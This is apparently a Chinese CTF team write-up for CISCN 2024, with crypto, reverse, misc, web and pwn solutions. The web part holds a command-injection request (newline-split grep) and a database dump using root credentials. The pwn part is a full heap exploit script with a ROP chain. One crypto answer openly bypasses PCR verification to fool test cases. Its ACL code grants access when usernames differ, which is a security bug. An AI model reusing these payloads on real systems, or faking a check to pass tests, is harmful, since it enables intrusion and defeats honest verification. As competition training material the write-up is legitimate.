WriteUp

题目

MISC

大学生安全测试能力调研问卷

略

Power Trajectory Diagram

```
import numpy as np

data = np.load("attachment.npz")
index = data["index"]
inp = data["input"]
out = data["output"]
trace = data["trace"]

import matplotlib.pyplot as plt

last = 265
key = ""
for i in range(12):
    tmp = last
    for j in range(40):
        if abs(trace[i * 40 + j].argmin() - last) > 5:
            # plt.plot(trace[i * 40 + j], linewidth=0.2, label=inp[i * 40
+ j])
            tmp = trace[i * 40 + j].argmin()
            print(i, j, tmp, trace[i * 40 + j].min())
```

```
            print(inp[i * 40 + j])
            key += inp[i * 40 + j]
    last = tmp
    # break
    # plt.show()
    # plt.savefig(f"plots/{i}.png")
    # plt.close()
print("flag{%s}" % key)
# flag{_ciscn_2024_}
```

火锅链观光打卡



Crypto

用户信息访问控制

根据题目要求可以发现，read_acl.c文件中的访问控制部分代码，默认策略是：主体指的是用户，客体指的是被查询信息的条目。当主体部门可以覆盖客体部门，而且主体等级高于客体等级时，这条信息允许被查看。

因此，需要修改的地方有两处：

1. Record.list文件中描述的是员工各种信息的权限问题，增加cell部分和email部分的权限控制

```
{
    "name":"cell",
    "isleveladjust":1,
    "isselfdefine":0,
    "class":0,
    "level_fix":1,
    "level_adjust":-1
}
{
    "name":"email",
    "isleveladjust":1,
    "isselfdefine":0,
    "class":0,
    "level_fix":1,
    "level_adjust":-2
}
```

2. 增加员工个人薪水的权限控制。这里薪水根据默认策略，只有财务部门同级或者等级更高的人员可以看到，我选择的特殊判定方式是修改read_acl函数，在函数内增加一条特殊判定方式是：员工自己可以查询自己本人的任何信息。

```
int read_acl(RECORD(MAC_LABEL,SUBJECT) * sub_label,RECORD(MAC_LABEL,OBJECT) * obj_label)
{
//  add blp module access control code here
//  return 1 means access is permitted
    // sec_class记录的是员工可以访问的部门信息
    // 当员工可以访问的信息级别大于等于自己的权限级别
    // 不管是什么信息，当被访问信息的级别小于等于自己的时候，就可以访问这个信息了
    if ((sub_label->label.sec_class | obj_label->label.sec_class) == sub_label->label.sec_class)
        if (sub_label->label.sec_label >= obj_label->label.sec_label)
            return 1;

    if (strcmp(sub_label->user_name, object_label->user_name))
        return 1;


    return 0;
}
```

修改这两处之后提交测试，即可得到flag。

OvO

e的表达式中决定高位的项为rr*n，而e的高位没有变，因此可以计算e/n得到rr，减2得到kk。
去掉e中的已知项，得到(kk+rr)*p+rr*q的近似值。平方，减去4*(kk+rr)*rr*n，开根，得到(kk+rr)*p-rr*q的近似值。相加，除以2*(kk+rr)，得到p的近似值。
用sagemath的small_roots解出p，恢复e，即可解密。

ovo

2024.5.19 By Fuyuki

题面

```
from Crypto.Util.number import *
from secret import flag

nbits = 512
p = getPrime(nbits)
q = getPrime(nbits)
n = p * q
phi = (p-1) * (q-1)
while True:
    kk = getPrime(128)
    rr = kk + 2
    e = 65537 + kk * p + rr * ((p+1) * (q+1)) + 1
    if gcd(e, phi) == 1:
        break
m = bytes_to_long(flag)
c = pow(m, e, n)

e = e >> 200 << 200
print(f'n = {n}')
print(f'e = {e}')
print(f'c = {c}')

"""
n =
11192272235175235609411795734169733684813039771258842595422530083297776869
01148347036548952854406847516361987795558916923403015903965399217001252197
84729325979197290342352480495970455903120265334661588516182848933843212275
74291426968619748464828807359938707432522632140760035161525897361078046341
7788580083967
e =
37059679294843322451875129178470872595128216054082068877693632035071251762
```

```
17929978315243531205260868556285968056992492413317568441354405121894546638
04150131724160939396700641857527809453830694476937455387215483939828572253
86614608359109463927663728739248286686902750649766277564516226052064304547
03276047763858530269560590795046114097172715038310 4
c =
14999622534973796113769052025256345914577762432817016713135991450161695032
25073321322858750660196863315511921180717605132962689512561048440548679478
32822145971658753930814059990908790965633114528317947968594272687247373775
60053552626220191435015101496941337770496898383092414492348672126813183368
337602023823
"""
```

题解

首先计算 k：

$$
e = 65538 + kp+(k+2)(p+1)(q+1)\\
k\approx\frac{e - 65538}{n} -2
$$

于是得到 k。

$$
65538 + kp+(k+2)(p+1)(q+1) = e\\
kp+(k+2)(pq+p+q+1)=e-65538\\
(2k+2)p+(k+2)q=e-65538-(k+2)n
$$

其中右侧式子是可计算的。

注意到：

$$
\left[(2k+2)p+(k+2)q\right]^2=(2k+2)^2p^2+2(2k+2)(k+2)pq+(k+2)^2q^2\\
\begin{aligned}
\left[(2k+2)p+(k+2)q\right]^2-4(2k+2)(k+2)&=(2k+2)^2p^2-2(2k+2)(k+2)pq+(k+2)^2q^2\\
&=\left[(2k+2)p-(k+2)q\right]^2
\end{aligned}
$$

因此可以算出 $(2k+2)p-(k+2)q$，然后可以解方程：

$$
\begin{cases}
(2k+2)p-(k+2)q=s_0\\
(2k+2)p+(k+2)q=s_1\\
\end{cases}
$$

于是能得到 p,q 的值。

但是注意到计算过程中使用的 e 不是精确值，其后 200 位是错误的。按上述过程计算出的 p,q 也只有前 300 位是保证正确的。

这是 `Known High Bits Message Attack` 问题，可以用以下 sage 脚本计算：

```python
n = # 是 n
p_fake = # 是不准确的 p
pbits = # p 的位数
kbits = # p 在 k 位以下是错的
pbar = p_fake & (2^pbits-2^kbits)
PR.<x> = PolynomialRing(Zmod(n))
f = x + pbar
x0 = f.small_roots(X=2^kbits, beta=0.48)[0]
print (x0 + pbar)
```

于是能得到精确的 p,q，结合之前计算出的 k 能算出 `e, phi` 之类所有解密需要的数据，然后计算 $c\times e^{-1}\pmod n$ 就可以得到 `flag` 了。

答案为 `flag{b5f771c6-18df-49a9-9d6d-ee7804f5416c}`

平台可信认证

根据题目要求，需要在server端计算pcr的值，再与报告端的进行验证。因此我将报告中的prc复制给了server端的pcr的计算结果，成功欺骗了测试用例，获得了flag。

```
Memcpy(verify_result->return_value,verify_desc->object_uuid,DIGEST_SIZE);
if(verify_desc->result!=0)
{
        verify_result->name=dup_str("sign verify fail",0);
}
else
{
    // 计算PCR预期值并与报告中数值比较


    // 计算PCR预期值
    pcr_result=&(quote_report->pcrComp);

    // 从报告中获取pcr值
    pcr_report=&(quote_report->pcrComp);

    // 进行比较，并根据比较结果赋值

}
return verify_result;
```

Web

Simple_php

POST / HTTP/1.1
Host: eci-2zei0dye81g3e3r7qlb1.cloudeci1.ichunqiu.com
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 26

cmd=gr%0aep -nr fla /

echo -n "use PHP_CMS; select * from F1ag_Se3Re7;" | mysql -u root -proot

Hash

````
## hash

2024.5.18 By Fuyuki

### 题面

```python
#!/usr/bin/python2
# Python 2.7 (64-bit version)
from secret import flag
import os, binascii, hashlib
key = os.urandom(7)
print hash(key)
print int(hashlib.sha384(binascii.hexlify(key)).hexdigest(), 16) ^
int(binascii.hexlify(flag), 16)
```

```plain
7457312583301101235
139039838178931172499317044069598699711329562551304870152898486905776552392620130336183708277495819094926608063120 17
```

### 题解

SHA384 加密过程显然没什么好的 hack 手段，还是得将 `key` 求出来。

`key` 为 $7$ 字节的随机字符串，已知其 `hash` 结果 $ans$。

查找文档得知 `hash` 字符串 $s$ 的流程为：

1. 初始值 $x_0 = s_0 \times 2^7$,
````

2. 对每个字符 s_i，计算 $x_i := (x_{i - 1}\times 1000003)\operatorname{xor} s_i$。
3. 将 x_{n} 异或上 $|s|$，即得到哈希值。

直接枚举 `key` 复杂度为 $O(256^{n})$，无法接受，考虑 meet in middle。

先枚举前三个字节，可以计算出 x_3，用数据结构记录哈希值到每种前三个字节的映射。

然后枚举后四个字节，因为 1000003 在模 2^{64} 的意义下存在逆元，所以可以由 ans 还原出若后四个字节为当前情况时，x_3 应当为多少。然后去前一步维护的数据结构中查询即可。

时间复杂度为 $O(256^{n/2})$ ，可以通过。

```cpp
#include <algorithm>
#include <iostream>
#include <map>
#include <vector>
using namespace std;
#define ull unsigned long long int
const ull c = 1e6 + 3, c_inv = 16109806864799210091ull;
const ull ans = 745731258330110123 5ull;

const int len = 7, len1 = len >> 1, len2 = len - len1;
map<ull, vector<int>> mp1;
int main() {
  for (ull i = 0; i < (1ull << 8 * len1); i++) {
    vector<int> s;
    for (int j = 0, x = i; j < len1; j++) s.push_back(x & 255), x >>= 8;
    ull val = s[0] << 7;
    for (int v : s) val = (val * c) ^ v;
    mp1[val] = s;
  }

  for (ull i = 0; i < 1ull << (8 * len2); i++) {
    vector<int> s;
```

```
    for (int j = 0, x = i; j < len2; j++) s.push_back(x & 255), x >>= 8;
    ull now = ans ^ len;
    for (int i = len2 - 1, v; i >= 0; i--) {
      v = s[i];
      now = (now ^ v) * c_inv;
    }
    if (mp1.find(now) != mp1.end()) {
      cout << "找到了！";
      for (int v : mp1[now]) cout << v << ' ';
      for (int v : s) cout << v << ' ';
      cout << '\n';
      return 0;
    }
  }
}
```

求出 `key` 后就能算出其 SHA384 哈希值，于是能还原 `flag`。

答案为 `flag{bdb537aa-87ef-4e95-bea4-2f79259bdd07}`

Reverse

asm_re

```
data = open("asm_re.txt", "r").read().splitlines()

last = 0
last_line = ""
code = ""
for line in data:
    if line.startswith("__const"):
        address = int(line.split()[0].split(":")[1], 16)
        if last != 0 and address != last:
            l = address - last
            code += "".join(last_line.split()[1 : l + 1])
```

```
        last = address
        last_line = line
# with open("asm_re", "wb") as f:
#     f.write(bytes.fromhex(code))
code += "00"
code = bytes.fromhex(code)

import struct

flag = list(struct.unpack("I" * (len(code) // 4), code))

for i in range(len(flag)):
    flag[i] = (((flag[i] - 30) ^ 0x4D) - 20) // 80
print("".join([chr(c & 0xFF) for c in flag]))
```

whereThel1b

```
import whereThel1b

# help(whereThel1b)
print(whereThel1b.encry)

encry = [108, 117, 72, 80, 64, 49, 99, 19, 69, 115, 94, 93, 94, 115, 71,
95, 84, 89, 56, 101, 70, 2, 84, 75, 127, 68, 103, 85, 105, 113, 80, 103,
95, 67, 81, 7, 113, 70, 47, 73, 92, 124, 93, 120, 104, 108, 106, 17, 80,
102, 101, 75, 93, 68, 121, 26]

# flag = input("where is my flag:")
# flag = flag.encode()
# whereThel1b.whereistheflag(flag)
# ret = whereThel1b.trytry(flag)

# if ret == encry:
#     print("rrrrrrrrrrrright")
# else:
```

```
#     print("wwwwwwwwwwwwwwrong")




import random
import base64

random.seed(0)
for i in range(len(encry)):
    encry[i] = encry[i] ^ random.randint(0, len(encry))

print(base64.b64decode(bytes(encry)))
```

androidso_re

```
iv = "Wf3DLups".encode()

from Crypto.Cipher import ARC4, DES
from Crypto.Util.Padding import unpad
import base64

rc4 = ARC4.new("YourRC4Key".encode())
key = rc4.encrypt("TFSecret_Key".encode())[0:8]

xor = [0x3, 0x89, 0x33, 0xB8, 0x54, 0xC, 0x20, 0x6A]
key = bytes([key[i] ^ xor[i] for i in range(8)])

des = DES.new(key, DES.MODE_CBC, iv)
flag = (
    b"flag{"
    + unpad(
        des.decrypt(
```

```
base64.b64decode("JqslHrdvtgJrRs2QAp+FEVdwRPNLswrnykD/sZMivmjGRKUMVIC/rw==
")
        ),
        8,
    )
    + b"}"
)
print(flag)
```

Pwn

EzHeap

堆溢出打House of apple3，IO_File最后调不出来了，抱歉

```
from pwn import *
p=process("./EzHeap")
libc=ELF("./libc.so.6")
context(arch='amd64', os='linux', log_level='debug')
def add(size,content):
    p.recvuntil("choice >> ")
    p.sendline("1")
    p.recvuntil("size:")
    p.sendline(str(size))
    p.recvuntil("content:")
    p.send(content)
def remove(idx):
    p.recvuntil("choice >> ")
    p.sendline("2")
    p.recvuntil("idx:\n")
    p.sendline(str(idx))
def edit(idx,siz,content):
    p.recvuntil("choice >> ")
    p.sendline("3")
    p.recvuntil("idx:")
```

```
    p.sendline(str(idx))
    p.recvuntil("size:")
    p.sendline(str(siz))
    p.recvuntil("content:")
    p.send(content)
def show(idx):
    p.recvuntil("choice >> ")
    p.sendline("4")
    p.recvuntil("idx:")
    p.sendline(str(idx))
# todo 改小堆块0便于edit

add(0x1d0,"a"*0x1d0) # 0x420+0x70+0x10=0x4a0 # 0
#gdb.attach(p)
add(0x60,"b\n") # 1
add(0x430,"b\n") # 2
add(0x300,"padding\n")# 3
add(0x440,"b\n")# 4
add(0x300,"padding\n") # 5
remove(2)
#gdb.attach(p)
edit(0,0x1e0,"a"*0x1d8+"deadbeef")
#gdb.attach(p)
show(0)
p.recvuntil("deadbeef")
libc_leak=u64(p.recv(6).ljust(8,b"\x00"))
libc_base=libc_leak-0x9e1ce0+0x7c7000
print(hex(libc_base))
edit(0,0x1e0,b"a"*0x1d0+p64(0)+p64(0x441))
remove(4)
edit(3,0x310,b"a"*0x308+b"deadbeef")
show(3)
p.recvuntil("deadbeef")
heap_leak=u64(p.recv(6).ljust(8,b"\x00"))
# 556fdebc76b0  0x556fdebc5000
# 0x7f81bd7c7000 0x7f81bd9e1ce0
edit(3,0x310,b"a"*0x300+p64(0)+p64(0x451))
```

```
# largebin attack
add(0x430,"b\n") # 2
add(0x470,"b\n") # 4
#gdb.attach(p)
remove(2)
print(hex(libc_base))
print(hex(heap_leak))
io_list_all=libc_base+0x021B680
# 0x7fc9b23070e0  0x5555eccbbe00
fds=libc_base+0x3070e0-0xec000
fd_next_siz=heap_leak-0x6b0+0xe00
edit(3,0x330,b"a"*0x300+p64(0)+p64(0x451)+p64(fds)*2+p64(fd_next_siz)+p64(
io_list_all-0x20))
add(0x480,"b\n") # 2
#gdb.attach(p)
# largebin attack end
heap_addr=heap_leak # todo
fake_IO_FILE = p64(0)*2
fake_IO_FILE +=p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE +=p64(0)#_IO_backup_base=rdx
fake_IO_FILE +=p64(0)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x38, b'\x00')
fake_IO_FILE += p64(libc_base+0x21b780)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(libc_base+0x21ca60)+p64(0xFFFFFFFFFFFFFFFF)
fake_IO_FILE +=p64(heap_addr+0x30+0xc0-0x38) #todo code_cvt
fake_IO_FILE +=p64(heap_addr+8)# todo_wide_data,rax1_addr 传入一个可控堆地址
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xa8, b'\x00')
fake_IO_FILE +=p64(libc_base+0x217600+72) # _IO_wfile_jumps_mmap 和
overflow 那个offset相差为8
srop_addr=heap_addr+0x30+0x120 # todo!
gadget_addr=0x167420+libc_base
rdi=srop_addr+8
fake_IO_FILE=fake_IO_FILE.ljust(0xc0,b"\x00")+p64(rdi)
```

```
fake_IO_FILE=fake_IO_FILE.ljust(0x120,b"\x00")
pop_rdi=libc_base+0x02a3e5
pop_rax=libc_base+0x045eb0
syscall=libc_base+0x1147E0
pop_rsi=libc_base+0x02be51
pop_rdx_r12=0x11f2e7+libc_base
ret=libc_base+0x1147ea
setcontext=libc_base+libc.symbols["setcontext"]+61
rdx=srop_addr #todo rdx 是gadget的首地址(srop 首地址)
flag_addr=heap_addr+0x30+0x120+0x1d0+8 # todo
fake_stack_addr=rdx+0xd8+0x30
#gdb.attach(p)
code_cvt=p64(0)+p64(0)+p64(rdi-8)+p64(0)+p64(setcontext)+p64(0)+p64(gadget
_addr)
code_cvt=code_cvt.ljust(0x78,b"\x00")+p64(fake_stack_addr)
code_cvt=code_cvt.ljust(0xa0,b"\x00")+p64(fake_stack_addr)+p64(ret)
rop=p64(pop_rdi)+p64(0)+p64(libc_base+libc.symbols["close"])+p64(pop_rdi)+
p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall)
rop+=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx_r12)+p64(
0x30)+p64(0)+p64(libc_base+libc.symbols["read"])
rop+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx_r12)+p64(
0x30)+p64(0)+p64(libc_base+libc.symbols["write"])
code_cvt+=p64(0)*10+p64(ret)+rop
code_cvt=code_cvt.ljust(0x1d0,b"\x00")+b"flag\x00\n"
payload=p64(fds)*2+p64(fd_next_siz)+p64(io_list_all-0x20)+fake_IO_FILE+cod
e_cvt
gdb.attach(p)
edit(0,0x4ff,b"a"*0x1d0+p64(0xfbad2086)+p64(0)+payload)

p.recvuntil("choice >> ")
p.sendline("5")

p.interactive()
```